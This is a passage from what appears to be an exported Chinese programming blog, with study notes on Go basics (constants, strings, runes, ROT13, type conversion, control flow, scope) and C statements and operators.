value)也都是常量。这意味着那些大小非同寻常的数值可以被直接使用,就像如下代码。\nfmt.Println(240000000000000000/299792/86400)//运行结果9265683\n针对常量和字面量的计算将在编译时而不是程序运行时执行。因为go的编译器就是用go语言编写的,并且在底层实现中,无类型的数值常量将由big包提供支持,所以程序能够直接对超过18艾的数值常量执行所有常规运算。\n变量也可以使用常量作为值,只要变量的大小能够容纳容量即可。例如,虽然 int 类型的变量无法容纳24艾,但让它存储 926 568 346还是没有任何问题的:\nconst dis=926568346km:=dis fmt.Println(km)\n使用大小非同寻常的常量有一个需要注意的地方:尽管go编译器使用 big 包处理无类型的数值常量,但常量与 big.Int 值是无法互换的。\n非常大的常量虽然很有用,但它们还是无法完全取代 big 包。\n多语言文本声明字符串变量因为go语言会把用双引号包围的字面值推断为 string 类型,所以以下3行代码的作用是相同的:\npeace := "peace"var peace = "peace"var peace string = "peace"\n如果你声明了一个变量但是没有为它赋值,那么go语言将使用变量类型的零值对其进行初始化,而string类型的零值就是空字符串"":\nvar blank string\n\n原始字符串字面量\n字符串字面量可以包含转义字符,如果你想要的是字符\\n本身而不是一个新的文本行,那么你可以像如下所示的那样,使用反引号(`)而不是双引号(”)来包围文本。使用反引号包围的字符串被称为原始字符串字面量。\npackage mainimport ( "fmt")func main(){ fmt.Println("1\\n2\\n3") fmt.Println(`1\\n2\\n3`)}//运行结果1231\\n2\\n3\n\n跟普通字符串字面量不同的是,原始字符串字面量可以在代码里面跨越多个文本行。\npackage mainimport ( "fmt")func main(){ fmt.Println(` 1 2 3`)}//运行结果//字符串中用于缩进的制表符也被正确地打印了出来 1 2 3\n无论是字符串字面量还是原始字符串字面量,最终都将变成字符串。\n字符、代码点、符文和字节统一码联盟(Unicode Consortium)把名为代码点的一系列数值赋值给了上百万个独一无二的字符。\ngo语言提供了 rune(符文) 类型用于表示单个统一码代码点,该类型是 int32 类型的别名。\n除此之外,go语言还提供了 uint8 类型的别名 byte,这种类型既可以表示二进制数据,又可以表示由美国信息交换标准代码(ASCII)定义的英文字符(历史悠久的ASCII包含128个字符,它是统一码的子集)。\n\n类型别名因为类型别名实际上就是同一类型的不同名字,所以 rune 和 int32 是可以互换的。尽管 byte 和 rune 从一开始就出现在了go里面,但是从go 1.9开始,用户也可以自行声明类型别名,就像这样:type byte uint8type rune = int32\n\n在 Printf 中使用格式化变量%c,可以打印单个字符。\npackage mainimport ( "fmt")func main(){ var pi rune = 960 fmt.Printf("%c\\n",pi)}//运行结果π\n\n提示:虽然任意一种整数类型都可以使用格式化变量%c,但是通过使用别名 rune 可以表明数字90代表字符而不是数字。\n\n为了免除用户记忆统一码代码点的烦恼,go提供了相应的字符字面量句法。用户只需要像 'A' 这样使用单引号将字符包围起来,就可以取得该字符的代码点。如果用户声明了一个字符变量却没有为其指定类型,那么go将推断该变量的类型为 rune,因此下面代码是等效的\ngrade := 'A'var grade = 'A'var grade rune='A'\n提示:虽然 rune 类型代表的是一个字符,但它实际存储的仍然是数字值,因此 grade 变量存储的仍然是大写字母 ‘A’ 的代码点,也就是数字65。除 rune 之外,字符字面量也可以搭配别名 byte 一同使用:\nvar star byte ='*'\n\n拉弦我们可以将不同字符串赋值给同一个变量,但是无法对字符本身进行修改:\npeace := "shalom"peace = "salam"\n\n与此类似,我们的程序虽然可以独立访问字符串中的单个字符,但是不能修改这些字符。\n下列代码展示了如何通过方括号[]指定指向字符串的索引,从而达到访问指定 ASCII 字符的目的。字符串索引以 0 为起始值。\n通过索引获取字符串中的指定字符\npackage mainimport ( "fmt")func main(){ message := "shalom" c:=message[5] fmt.Printf("%c\\n",c)}//运行结果m\nRuby 中的字符串和 C 中的字符数组允许被修改,而go中的字符串与 python、java 和 javascript 中的字符串一样,都是不可变的,你不能修改go中的字符串:\n//结果会报错message[5]='d'\n\n使用凯撒加密法处理字符\n凯撒密码:对字符进行位移加密\n\n如下\nc:='a'c=c+3fmt.Printf("%c\\n",c)//运行结果 d\n如上代码展示的方法并不完美,因为它没有考虑该如何处理字符 ‘x’、’y’、’z’,所以它无法对 xylophones、yaks 和 zebras 这样的单词实施加密。为了解决这个问题,最初的凯撒加密法采取了回绕措施,也就是将 ‘x’ 变为 ‘a’、’y’变为’b’,而 ‘z’ 则变为 ‘c’。对于包含 26 个字符的英文字母表,我们可以通过这段代码实现上述变换:\npackage mainimport ( "fmt")func main(){ c:='a' c=c+3 if c>'z'{ c=c-26 } fmt.Printf("%c\\n",c)}//运行结果d\n\n凯撒密码的解密方法跟加密方法正好相反,程序不再是为字符加上 3 而是减去 3,并且它还需要在字符过小也就是 c<’a’ 的时候,将字符加上26 以实施回绕。虽然上述的加密方法和解密方法都非常直观,但由于它们都需要处理字符边界以实现回绕,因此实际的编码过程将变得相当痛苦。\n凯撒解密\npackage mainimport( "fmt")func main(){ c:='d' c=c-3 if c<'a'{ c=c+26 } fmt.Printf("%c\\n",c)}\n\n现代变体\n回转13(ROT13)是凯撒密码在 20 世纪的一个变体,该变体跟凯撒密码的唯一区别就在于,它给字符添加的量是 13 而不是 3,并且ROT13的加密和解密可以通过同一个方法实现,这是非常方便的。\n现在,假设搜寻地外文明计划(Searchfor Extra-terrestrial Intelligence,SETI)的相关机构在外太空扫描外星人通信信息的时候,发现了包含以下消息的广播:\nmessage :="uv vagreangvbany fcnpr fgngvba"\n我们有预感,这条消息很可能是使用 ROT13 加密的英文文本,但是在解密这条消息之前,我们还需要知悉其包含的字符数量,这可以通过内置的len函数来确定:\nfmt.Println(len(message))//打印出30\n\n注意:go拥有少量无须导入语句即可使用的内置函数,len函数就是其中之一,它可以测定各种不同类型的值的长度。\n\nROT13消息解密\npackage mainimport ( "fmt")func main(){ message :="uv vagreangvbany fcnpr fgngvba" for i:=0;i<len(message);i++{ c:=message[i] if c>='a'&&c<='z'{ c=c+13 if c>'z'{ c=c-26 } } fmt.Printf("%c",c) }}//运行结果hi international space station\n\n将字符串解码为符文有好几种可以为统一代码点编码,而go中的字符串使用的 UTF-8 编码就是其中的一种。UTF-8 是一种高效的可变程度的编码方式,它可以用8个、16个或者32个二进制位为单个代码点编码。在可变长度编码方式的基础上,UTF-8 沿用了 ASCII 字符的编码,从而使得 ASCII 字符可以直接转换为相应的 UTF-8 编码字符。\n上面代码展示的 ROT13 程序只会单独访问 message 字符串的每个字节(8位),但是没有考虑到各个字符可能会由多个字节组成。因此这个程序只能处理英文字符,但是无法处理其他字符。不过这个问题并不难解决。\n为了让 ROT13 能够支持多种语言,程序首先要做的就是在处理字符之前先将它们解码为 rune 类型。幸运的是,go正好提供了解码 UTF-8 的字符串所需的函数和语言特性。\nutf8 包提供了实现上述想法所需的两个函数,而 其中uneCountInString 函数能够以符文而不是以字节为单位返回字符串的长度,而 DecodeRuneInString 函数则能够解码字符串的首个字符并返回解码后的符文占用的字节数量。\npackage mainimport ( "fmt" "unicode/utf8")func main(){ question:="¿Cómo estás?" fmt.Println(len(question),"bytes") fmt.Println(utf8.RuneCountInString(question),"runes") c,size:=utf8.DecodeRuneInString(question) fmt.Printf("%c %v\\n",c,size)}//运行结果15 bytes12 runes¿ 2\n\n\n注意:go跟很多编程语言不同的一点在于,go允许返回多个值\n\n正如以下代码所示,go语言提供的关键字range不仅可以迭代各种不同的收集器,它还可以 utf-8 解码。\npackage mainimport ( "fmt")func main(){ question:="¿Cómo estás?" for i,c:=range question{ fmt.Printf("%v %c\\n",i,c) }}//运算结果0 ¿2 C3 ó5 m6 o78 e9 s10 t11 á13 s14 ?\n\n在每次迭代中,变量i都会被赋值为字符串的当前索引,而变量c则会被赋值为该索引上的代码点。\n如果你不需要在迭代的时候获取索引,那么只要使用go的空白表示符_(下划线)来省略它即可:\nfor _,c:= range question{\tfmt.Printf("%c",c)}//运行结果¿Cómo estás?\n类型转换类型不能混合使用变量的类型决定了它能够执行的操作,例如,数值类型可以执行加法运算,而字符串类型则可以执行拼接操作,诸如此类。通过加法操作符,可以将两个字符串拼接在一起:\ncountdown := "Launch in T minus"+"10 seconds" \n但是,如果尝试拼接数值和字符串,那么编译器就会报错。\n尝试混合使用整数类型和浮点类型同样会引发类型不匹配错误。在Go中,整数将被推断为整数类型,而诸如 365.2425 这样的实数则会被表示为浮点类型。\n//以下两个变量都是整数类型age:=41marsDays:=687//以下变量为浮点类型earthDays:=365.2425//以下操作会报错,因为类型不匹配fmt.Println("I am",age*earthDays/marsDays,"years old on Mars.")\n\n数字类型转换类型转换的用法非常简短。举个例子,如果你想把整数类型变量 age 转换为浮点类型以执行计算,那么只需要使用与新类型同名的函数来包裹该变量即可:\nage := 41marsAge := float64(age)\n虽然go语言不允许混合使用不同类型的变量,但是通过类型转换,如下代码中的计算将会顺利进行。\nage := 41marsAge := float64(age)marsDays := 687.0earthDays := 365.2425fmt.Println("I am",marsAge,"years old on Mars.")\n我们除可以将整数转换为浮点数之外,还可以将浮点数转换为整数,不过在这个过程中,浮点数小数点之后的数字将直接被截断而不会做任何舍入:\nfmt.Println(int(earthDays))//打印出365\n除整数和浮点数之外,有符号整数和无符号整数,以及各种不同长度的类型之间都需要进行类型转换。诸如 int8 转换为 int32 那样,从取值范围较小的类型转换为取值范围较大的类型总是安全的,但其他方式的类型转换则存在风险。\n例如,因为一个 uint32 变量的值最大可以是 40 亿,而一个 int32 变量的值最大只能是 20 亿,所以并不是所有 uint32 值都能安全转换为 int32 值。与此类似,因为 int 类型可以包含负整数,而 uint 类型不能包含负整数,所以只有值为非负整数的 int 变量才能安全转换为 uint变量。\ngo语言之所以要求用户在代码中显示地进行类型转换,原因之一就是为了让我们在使用类型转换的时候三思而后行,想清楚转换可能引发的后果。\n类型转换的危险之处类型转换导致溢出会得到与目标不同的值。\n在将 float64 类型转换为 int16 类型时可能会得出一个超出范围的值,从而导致软件异常。\npackage mainimport ( "fmt")func main(){ var bh float64=32768 var h=int16(bh) fmt.Println(h)}//运行结果-32768\n\n通过 math 包提供的最小常量和最大常量,我们可以检测出将值转换为 int16 类型是否会得到无效值:\nif bh < math.MinInt16 || bh>math.MaxInt16{\t//处理超出范围的值}\n\n注意:因为 math 包提供的最小常量和最大常量都是无类型的,所以程序可以直接使用浮点数 bh 去跟整数 MaxInt16 做比较。\n\n字符串转换正如如下代码所示,我们可以像转换数字类型时那样,使用相同的类型转换语法将 rune 或者 byte 转换为 string。最终的转换结果跟我们之前在前面使用格式化变量 %c 将符文和字节显示成字符时得到的结果是一样的。\nvar pi rune=960var alpha rune=940var omega rune = 969var bang byte = 33fmt.Print(string(pi),string(alpha),string(omega),string(bamg))//运行结果πάω!\n正如之前所述,因为 rune 和 byte 不过分别是 int32 和 uint8 的别名而已,所以将数字代码点转换为字符串的方法实际上适用于所有整数类型。\n跟上述情况相反,为了将一串数字转换为 string,我们必须将其中的每个数字都转换为相应的代码点,这些代码点从代表字符 0 的 48 开始,到代表字符 9 的 57 结束。手工处理这种转换是非常麻烦的,好在我们可以直接使用 strconv(代表 “string conversion”,也就是 “字符串转换”)包提供的 Itoa 函数来完成这一工作,就像如下代码清单所示。\npackage mainimport ( "fmt" "strconv")func main(){ countdown:=10 str:="Launch in T minus"+strconv.Itoa(countdown)+" seconds." fmt.Println(str)}//运行结果Launch in T minus 10 seconds.\n\n注意:Itoa是 “integer to ASCII” 也就是 “将整数转换为ASCII字符”的缩写。统一码是老旧的ASCII标准的超集,这两种标准开头的128个代码点是相同的,它们包含了(上例中用到的)数字、英文字母和常见的标点符号。\n\n将数值转换为字符串的另一种方法是使用 Sprintf 函数,它的作用与 Printf 函数基本相同,唯一的区别在于 Sprintf 函数会返回格式化之后的 string 而不是打印它:\n countdown:=9 str:=fmt.Sprintf("Launch in T minus %v seconds.",countdown) fmt.Println(str)//运行结果Launch in T minus 9 seconds.\n\n另外,如果我们想把字符串转换为数值,那么可以使用 strconv 包提供的 Atoi(代表 ASCII to integer,也就是将ASCII字符转换为整数)。需要注意的是,因为字符串里面可能包含无法转换为数字的奇怪文字,或者一个非常大以至于无法用整数类型表示的数字,所以 Atoi 函数有可能会返回相应的错误:\npackage mainimport ( "fmt" "strconv" "os")func main(){ countdown,err:=strconv.Atoi("10") if err != nil{ os.Exit(0) } fmt.Println(countdown)}//打印出10\n如果函数返回的 err 变量的值为nil,那么说明没有发生问题。\n\n静态类型在go语言中,变量一旦被声明,它就有了类型并且无法改变它的类型。这种机制被称为静态类型,它能够简化编译器的优化工作,从而使程序的运行速度变得更快。\n\n转换布尔值Print系列的函数可以将布尔值ture和false打印成相应的文本。如下代码就展示了如何使用 Sprintf 函数将布尔变 launch 转换为文本。如果想把布尔值转换为数字值或者其他文本,那么一个简单的if语句就能满足你的要求了。\npackage mainimport ( "fmt")func main(){ launch:=false launchText:=fmt.Sprintf("%v",launch) fmt.Println("Ready for launch:",launchText) var yesNo string if launch{ yesNo="yes" }else{ yesNo="no" } fmt.Println("Ready for launch:",yesNo)}//运行结果Ready for launch: falseReady for launch: no\n因为go允许我们直接将条件比较的结果赋值给变量,所以跟上述转换相比,将字符串转换为布尔值的代码会更为简单。\nyesNo :="no"launch := (yesNo == "yes")fmt.Println("Ready for launch:",launch)//运行结果Ready for launch: false\n没有提供专门的布尔类型的编程语言通常会使用数字 0 和空字符串 “” 来表示 false,并使用数字 1 和非空字符串来表示 true。但是在go语言中,布尔值并没有与之相等的数字值或者字符串值,因此尝试使用 string(false)、int(false) 这一的方法来转换布尔值,或者尝试使用bool(1)、bool(“yes”)等方法来获取布尔值,go编译器都会报告错误\n后言\n参考书籍:Go语言趣学指南参考课程:Go语言编程快速入门(Golang)\n\n","categories":["编程"],"tags":["Go"]},{"title":"C chapter3 语句","url":"/2024/10/27/program/c/c-ptr-3/","content":"空语句C 最简单的语句就是空语句,它本身只包含一个分号。空语句本身并不执行任何任务,但有时还是有用的。它所适用的场合就是语法要求出现一条完整的语句,但并不需要它执行任何任务。\n表达式语句C 并不存在专门的 “赋值语句”,它通过表达式进行赋值。只需要在表达式后面加上一个分号,就可以把表达式转变为语句。\nx=y+3;ch=getchar();\n实际上是表达式语句,而不是赋值语句。\n\n警告:理解这点很重要,因为像下面这样的语句也是完全合法的:\n\ny+3;getchar()\n\n所谓语句 ”没有效果“ 只是表达式的值被忽略。printf函数所执行的是有用的工作,这类作用称为 ”副作用(side effect)“。\n代码块代码块就是位于一对花括号之内的可选的声明和语句列表。\n{\tdeclarations\tstatemente}\n\nif语句if(expression){\tstatement}else\tstatement\n括号是if语句的一部分,而不是表达式的一部分,因此它是必须出现的,即使是那些极为简单的表达式也是如此。\nwhile语句while(expression){\tstatement}\n循环的测试在循环体开始执行之前开始,所以如果测试的结构一开始就是假,循环体就根本不会执行。同样,当循环体需要多条语句来完成任务时,可以使用代码块来实现。\nbreak和continue语句在while循环中可以使用break语句,用于永久终止循环。在执行完break语句之后,执行流下一条执行的语句就是循环正常结束后应该执行的那条语句。\n在while循环中也可以使用continue语句,它用于永久终止当前的那次循环。在执行完continue语句之后,执行流接下来就是重新测试表达式的值,决定是否继续执行循环。\n这两条语句的任何一条如果出现于嵌套的循环内部,它只对最外层的循环起作用,你无法使用break或continue语句影响外层循环的执行。\nwhile语句的执行过程\n\n提示:偶尔,while语句在表达式中就可以完成整个语句的任务,于是循环体就无事可做。在这种情况下,循环体就用空语句来表示。单独用一行来表示一条空语句是比较好的做法,如下面的循环所示,它丢弃当前输入行的剩余字符。\n\nwhile((ch=getchar())!=EOF && ch!='\\n')\t;\n\nfor语句C的for语句比其它语言的for语句更为常用,事实上,C的for语句是while循环的一种极为常用的语句组合形成的简写法。for语句的语法如下所示:\nfor(expressionl;expression2;expression3)\tstatement\n\n在for语句中也可以使用break语句和continue语句。break语句立即退出循环,而continue语句把控制流直接转移到调整部分。\nfor语句的执行过程\nfor语句和while语句执行过程的区别在于出现continue语句时。在for语句中,continue语句跳过循环体的剩余部分,直接回到调整部分。在while语句中,调整部分是循环体的一部分,所以continue将会把它也跳过。\ndo语句C语言的do语句非常像其他语言的repeat语句。它很像while语句,只是它的测试在循环体执行之后才进行,而不是先于循环体执行。所以,这种循环的循环体至少执行一次。下面是它的语法。\ndo \tstatementwhile(expression)\n当你需要循环体至少执行一次时,选择do。\nswitch语句C的switch语句颇不寻常。它类似于其他语言的case语句,但在有一个方法存在重要的区别。首先让我们来看看它的语法,其中expression的结果必须是整型值。\nswitch(expression)\tstatement\n尽管在switch语句体内只使用一条单一的语句也是合法的,但这样做毫无意义。\n实际使用中的switch语句一般如下所示:\nswitch(expression){\tstatement-list}\n贯穿于语句列表之间的是一个或多个case标签,形式如下:\ncase constant-expression:\n每个case标签必须有一个唯一的值。常量表达式(constant-expression)是指在编译期间进行求值的表达式,它不能是任何变量。这里不同寻常之处是case标签并不把语句列表划分为几个部分,它们只是确定语句列表的进入点。\n首先计算expression的值,然后执行流跳转到匹配的语句。之后执行到底部。\nswitch中的break语句如果在switch语句的执行中遇到了break语句,执行流就会立即跳到语句列表的末尾。\nswitch(command){case 'A':\tadd_entry();\tbreak;case 'B':\tdelete_enery();\tbreak;}\n\nbreak语句的实际效果是把语句列表划分为不同的部分。这样,switch语句就能够按照更为传统的方式工作。\n在switch语句中,continue语句没有任何效果。只有当switch语句位于某个循环内部时,你才可以把continue语句放在switch语句内。在这种情况下,与其说,continue语句作用于switch语句,还不如它作用于循环。\ndefault子句我们在case标签后面加上一个default。当switch表达式的值并不匹配所有case标签的值时,这个default子句后面的语句就会执行。\n每个default语句中只能出现一条default子句。\ndefault:\n\n\n提示:在每个switch语句中都放上一条default子句是个好习惯。\n\nswitch语句的执行过程在处理四个以上分支时,switch语句就是查找表。\ngoto语句语法:\ngoto 语句标签;\n\n要使用goto语句,你必须在你希望调跳转的语句前面加上语句标签。语句标签就是标识符后面加个冒号。包含这些标签的goto语句可以出现在同一个函数中的任何位置。\n\n注意:goto需要谨慎使用。\n\n","categories":["编程"],"tags":["C"]},{"title":"Go chapter1","url":"/2024/10/25/program/go/go-chapter1/","content":"前言因为最近这段时间被拉去打一个程序开发的比赛,所以花几天学了一下go语言。\n接下来打算把学习go的笔记更一下,后面再写一些关于go的安全编程的内容。\n基本结构包和函数package main()import (\t"fmt")func main(){\tfmt.Println("hello world")}\n\npackage关键字声明了代码所属的包。\n在package关键字之后,代码使用了import关键字来导入自己将要用到的包。一个包可以包含任意数量的函数。\nfmt包提供了用于格式化输入和输出的函数。\nfunc关键字用于声明函数,在本例中这个函数的名字就是main。每个函数的体都需要使用大括号包围,这样go才能知道每个函数从何处开始,又在何处结束。\n当我们运行一个程序的时候,它总是从 main 包的 main 函数开始运行。如果 main 不存在,编译器将报错。\n每次用到被导入包的某个函数时,我们都需要在函数的名字前面加上包的名字以及一个点号作为前缀。\n唯一允许的大括号放置风格go对于大括号({})的摆放非常挑剔。左大括号 { 与func关键字位于同一行,而右大括号 } 则独占一行。这是go语言唯一允许的大括号放置风格,除此之外的其他大括号放置风格都是不被允许的。\n如果用户尝试将左大括号和 func 关键字放在不同的行里面,那么go编译器将报告一个语法错误。\n被美化的计算器执行计算注释go语言的注释和C语言一样\n单行注释\n//这是单行注释\n\n多行注释\n/*这是多行注释*/\n\n算术运算符编程语言中一般通用的常规运算符。\n\n\n\n运算符\n功能\n\n\n\n+\n加\n\n\n-\n减\n\n\n*\n乘\n\n\n/\n除\n\n\n%\n模\n\n\n格式化输出Println输出函数这个函数输出的内容会在后面加一个换行,也就是\\n。\nfmt.Println("hello world")\n\nPrintf格式化输出函数\nfmt.Printf("number: %v",10)\nPrintf 接收的第一个参数总是文本,第二个参数则是表达式,而文本中包含的格式化变量%v则会在之后被替换成表达式的值。\n这个和C语言中的printf很相似。\n%v是通用类型的意思\n虽然Println会自动将输出的内容推进至下一行,但是Printf和Print却不会那么做。对于后面这两个函数,用户可以通过在文本里面放置换行符\\n来将输出内容推进至下一行。\n如果用户指定多个格式化变量,那么Printf函数将按顺序把它们替换成相应的值。\nfmt.Printf("string: %[0]v \\n number: %[1]v \\n","Earth",10)\n\nPrintf除可以在句子的任意位置将格式化变量替换成指定的值之外,还能够调整文本的对齐位置。\n用户可以通过指定带有宽度的格式化变量%4v,将文本的输出宽度填充至4个字符。\n当宽度为正数时,空格将被填充至文本左边,而当宽度为负数时,空格将被填充至文本右边。\nfmt.Printf("%10v\\n",10)//输出结果//左边被以空格填充 10fmt.Printf("%-10v1\\n",10)//输出结果//右边被以空格填充10 1\n\n常量和变量常量\n//基本声明const host=24\n变量\n//基本声明var dis=9633\n\\\n走捷径一次声明多个变量每一行单独声明一个变量\nvar dis =560\n一次声明一组变量\nvar(\tdis=560\tspeed=1008)\n同一行声明多个变量\nvar dis,speed=560,1008\n\n需要注意的是,为了保证代码的可读性,我们在一次声明一组变量或者在同一行声明多个变量之前,应该先考虑这些变量是否相关。\n增量并赋值操作符有几种快捷方式可以让我们在赋值的同时执行以下操作。\nvar weight=129.0weigth*=0.37//等效于:weight=weight*0.37\n常见的有,这些概念一般其他编程语言中也有\n\n\n\n符号\n功能\n\n\n\n+=\n加上符号右边的值后再赋值\n\n\n-=\n减上符号右边的值后再赋值\n\n\n*=\n乘以符号右边的值后再赋值\n\n\n/=\n除以符号右边的值后再赋值\n\n\n%=\n模运算符号右边的值后再赋值\n\n\n自增运算符、\n用户可以使用i++执行加1操作\n但是go并不支持++i这种C语言中的操作。\nvar i=0i++i--\n\n数字游戏使用rand包来生成伪随机数\n下列代码中,会显示一个110之间的数字。这个程序会先向Intn函数传入数字10以返回一个09的随机数,然后把这个数字加一并将其结果赋值给变量num。\n传入给Intn函数的10会让rand生成从零开始的十个数字之间的随机数,即一个09的数字,所以如果我们要求是110则需加上一个1。\npackage mainimport(\t"fmt"\t"math/rand")func main(){\tvar num = rand.Intn(10)+1\tfmt.Println(num)}\n\n虽然 rand 包的导入路径为math/rand,但是我们在调用 Intn 函数的时候只需要使用包名 rand 作为前缀即可,不需要使用整个导入路径。\n循环和分支真或假布尔变量\n注意,go中0和1不能作为布尔值使用。\n//真var z=ture//假var j=false\n\ngo语言标准库里面有好多函数都会返回布尔值。\n例如如下代码\n代码中使用了strings包的Contais函数来检查command变量是否包含单词”outsize”,如果包含则返回为true,否则返回false\npackage mainimport ( "fmt" "strings")func main(){ var command="hello world" var exit=strings.Contains(command,"hello") fmt.Println("结果",exit)}//运行结果结果 true\n\n比较比较运算符\n\n\n\n符号\n含义\n\n\n\n==\n相等\n\n\n!=\n不相等\n\n\n<\n小于\n\n\n<=\n小于等于\n\n\n>\n大于\n\n\n>=\n大于等于\n\n\n表中的运算符既可以比较文本,又可以比较数值。\n\n\n\n比较结果返回的是布尔值。\npackage mainimport ( "fmt")func main(){ var num=33 var age=num<10 fmt.Printf("%v是否小于10:%v(true/false)\\n",num,age)}//运行结果33是否小于10:false(true/false)\n\n\n使用if实现分支判断如下所示,计算机可以使用布尔值或者比较条件在if语句中选择不同的执行路径。\npackage mainimport ( "fmt")func main(){ var command="go" if command=="no"{ fmt.Println("1") }else if command=="go"{ fmt.Println("2") }else{ fmt.Println("3") }}//运行结果2\n\n这里要注意,else if 和 else 都要紧跟在前一个大括号后面,否则会报错。\nelse if语句和else语句都是可选的。当有多个分支路径可选时,可以重复使用else if直到满足需要为止。\n逻辑运算符基本都是编程语言通用的。\n\n\n\n符号\n含义\n\n\n\n||\n逻辑或\n\n\n&&\n逻辑与\n\n\n!\n逻辑非\n\n\npackage mainimport ( "fmt")func main(){ var num=1000 var bin=num>500 || (num/2==500 && num%100==10) if bin{ fmt.Println("真") }else{ fmt.Println("假") }}//运行结果真\n跟大多数编程语言一样,go也采用了短路逻辑:如果位于 || 运算符之前的第一个条件为真,那么位于 || 运算符之后的条件就可以被忽略,没有必要再对其进行求值。\n&& 运算符的行为与 || 运算符正好相反:只有在两个条件都为真的情况下,运算结果才为真。\n逻辑非运算符 ! 可以将一个布尔值从 false 变为 true,或者将 true 变为 false。\n使用switch实现分支判断go提供了 switch 语句,它可以将单个值和多个值进行比较。\npackage mainimport ( "fmt")func main(){ var command="b" //将命令和给定的多个分支进行比较 switch command { case "a": fmt.Println("a") //使用逗号分隔多个可选值 case "b","c": fmt.Println("b/c") //没有匹配的分支则执行 default: fmt.Println("d") }}\n\nswitch 语句的另一种用法是像 if…else 那样,在每个分支中单独设置比较条件。\nswitch 还拥有独特的 fallthrough 关键字,它可以用于执行下一个分支的代码。\n\n与 c 和 java 等编程语言不同,go的 switch 语句执行一个条件分支后默认是不执行下一行的\n\npackage mainimport ( "fmt")func main(){ var command="b" //比较表达式放置到单独的分支里 switch command { case "a": fmt.Println("a") case "b": fmt.Println("b") //下降至下一分支 fallthrough case "c": fmt.Println("c") default: fmt.Println("d") }}\n\n使用循环实现重复执行当需要重复执行同一段代码的时候,与一遍又一遍键入相同的代码相比,更好的办法是使用 for 关键字。\ngo语言是没有 while 循环关键字的,不过如下所示我们可以通过 for 关键字实现 while 循环。\n后面会讲解 for 关键字如何实现类似于C语言中的那种形式。\npackage mainimport ( "fmt")func main(){ var count=10 for count>0{ fmt.Println(count) count-- } fmt.Println("结束")}//运行结果10987654321结束\n\n在每次迭代开始之前,表达式 count>0 都会被求值并产生一个布尔值。当该值为 false也就是 count 变量等于 0 的时候,循环就会终止。反之,如果该值为真,那么程序将继续执行循环体,也就是被 { 和 } 包围的那部分代码。\n此外我们还可以通过不为 for 语句设置任何条件来产生无限循环,然后在有需要的时候通过在循环体内使用 break 语句来跳出循环。\npackage mainimport ( "fmt")func main(){ var count=10 for count>0{ fmt.Println(count) count++ if count>20{ break } } fmt.Println("结束")}//运行结果1011121314151617181920结束\n\n\n变量作用域审视作用域变量从声明之时开始就处于作用域当中,换句话说,变量就是从那时开始变为可见的。\n只要变量仍然存在于作用域当中,程序就可以访问它。然而在作用域之外访问变量就会报错。\n变量作用域的一个好处是我们可以为不同的变量复用相同的名字。因为除极少数小型程序之外,程序的变量几乎不可能不出现重名。\ngo 的作用域通常会随着大括号 {} 的出现而开启和结束。\n在下面的代码清单中,main函数开启了一个作用域,而for循环则开启了一个嵌套作用域\npackage mainimport (\t"fmt"\t"math/rand")func pmain(){\tvar count = 0\t//开启新的作用域\tfor count <10 {\t\tvar num = rand.Intn(10)+1\t\tfmt.Println(num)\t\tcount++\t}\t//作用域结束}\n\n因为对 count 变量的声明用于 main 函数的函数作用域之内,所以它在 main 函数结束之前将一致可见\n在循环结束之后访问num变量将会引发编译器报错。\n简短声明简短声明为 var 关键字提供了另一种备选语法。\n以下两行代码是完全等效的:\nvar count = 10 count := 10\n\n简短声明不仅仅是简化了声明语句,而且可以在无法使用 var 关键字的地方使用。\n如下例代码\n未使用简短声明\nvar count=0for count=10;count>0;count--{\tfmt.Println(count)}fmt.Println(count)\n在不使用简短声明的情况下,count 变量的声明必须被放置在循环之外,这意味着在循环解释之后 count 变量将继续存在于作用域。\n在for循环中使用简短声明\nfor count := 10; count > 0; count--{\tfmt.Println(count)}//随着循环结束,count变量将不再处于作用域之内\n\n简短声明还可以在 if 语句中声明新的变量\nif num := rand.Intn(3);num==0{\tfmt.Println("Space Adventures")}else if num ==1{\tfmt.Println("SpaceX")}else{\tfmt.Println("Virgin Galactic")}//随着if语句结束,变量将不再处于作用域之内\n\n在switch语句中使用\nswitch num := rand.Intn(10);num{case 0:\tfmt.Println("Space Adventures")case 1:\tfmt.Println("SpaceX")case 2:\tfmt.Println("Virgin Galactic")default:\tfmt.Println("Random spaceline #",num)}\n\n\n作用域的范围package mainimport {\t"fmt"\t"math/rand"}//era变量在整个包都是可用的,相当于全局变量var era="AD"func main(){\t//era变量和year变量都处于作用域之内\tyear := 2018\t//变量era、year和month都处于作用域之内\tswitch month := rand.Intn(12)+1;month{\tcase 2:\t//变量era、year、month和day都处于作用域之内\t\tday := rand.Intn(28)+1\t\tfmt.Println(era,year,month,day)\t\t//上面那个day和下面的day变量是全新声明的变量,跟上面生成的同名变量并不相同\tcase 4,6,9,11:\t\tday := rand.Intn(30)+1\t\tfmt.Println(era,year,month,day)\tdefault:\t\tday := rand.Intn(31)+1\t\tfmt.Println(era,year,month,day)\t}//month变量和day变量不再处于作用域之内}//year变量不再处于作用域之内\n因为对 era 变量的声明位于 main 函数之外的包作用域中,所以它对于 main 包中的所有函数都是可见的。\n\n注意:因为包作用域在声明变量时不允许使用简短声明,所以我们无法在这个作用域中使用\n\n后言\n参考书籍:Go语言趣学指南参考课程:Go语言编程快速入门(Golang)\n\n","categories":["编程"],"tags":["Go"]},{"title":"C chapter4 操作符和表达式","url":"/2024/10/27/program/c/c-ptr-4/","content":"操作符算术操作符C提供了所有常用的算术操作符:\n+ - * / %\n\n除了%操作符,其余几个操作符都是即适用于浮点类型又适用于整数类型。当/操作符的两个操作数都是整数时,它执行整除运算,在其他情况下则执行浮点数除法。%取模操作符,它返回余数。\n移位操作符在左移位中,值最左边的几位被丢弃,右边空出来的几个空位则由0补齐。\n右移位可以选择逻辑移位或算术移位。\n逻辑移位,左边移入的位用0填充;\n算术移位,左边移入的位由原先该值的符号位决定,符号位为1则移入的位均为1,符号位为0则移入的位均为0,这样能够保持原数的正负形式不变。\n算术左移和逻辑左移是相同的,它们只在右移时不同,而且只有当操作数是负值时才不一样。\n左移位操作符为<<,右移位操作符为>>。左操作树的值将移动由右操作数指定的位数。两个操作数必须是整型类型。\n\n警告:标准说明无符号值执行的所有移位操作都是逻辑移位,但对于有符号值,到底是采用逻辑移位还是算术移位取决于编译器。\n\n位操作符位操作符对它们的操作数各个位执行 AND、OR 和 XOR(异或)等逻辑操作。\n它们要求操作数为整数类型,它们对操作数对应的位进行指定的操作,每次对左右操作数的各一位进行操作。\n位的操纵\n下面的表达式显示了如何通过移位操作符和位操作符来操纵一个整型值中的单个位。\n将指定的位设置为1。\nvalue=value &1 << bit_number;\n\n把指定的为清0\nvalue=value &~ 